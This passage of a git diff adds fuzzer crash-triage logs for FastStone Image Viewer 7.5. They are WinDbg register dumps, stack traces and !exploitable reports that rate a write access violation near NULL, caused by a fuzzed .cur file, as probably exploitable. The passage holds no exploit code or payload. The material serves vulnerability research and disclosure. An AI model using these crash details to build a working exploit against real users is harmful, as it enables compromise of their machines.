+ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(b2c.440): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e67b19 edx=00000000 esi=00000000 edi=0fc6afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.261350000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.73563e+036 673319 -8.84287e+015 261.193 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0031a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0031a000 96d8f2d8 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0031a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..9555e2e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xB2C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xB2C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(b2c.440): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e67b19 edx=00000000 esi=00000000 edi=0fc6afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.261350000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.73563e+036 673319 -8.84287e+015 261.193 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0031a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0031a000 96d8f2d8 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0031a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a35f688 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c4cdf51 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..da23160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/11010/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xC04: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xC04: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(c04.5c0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e57b19 edx=00000000 esi=00000000 edi=0f672fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 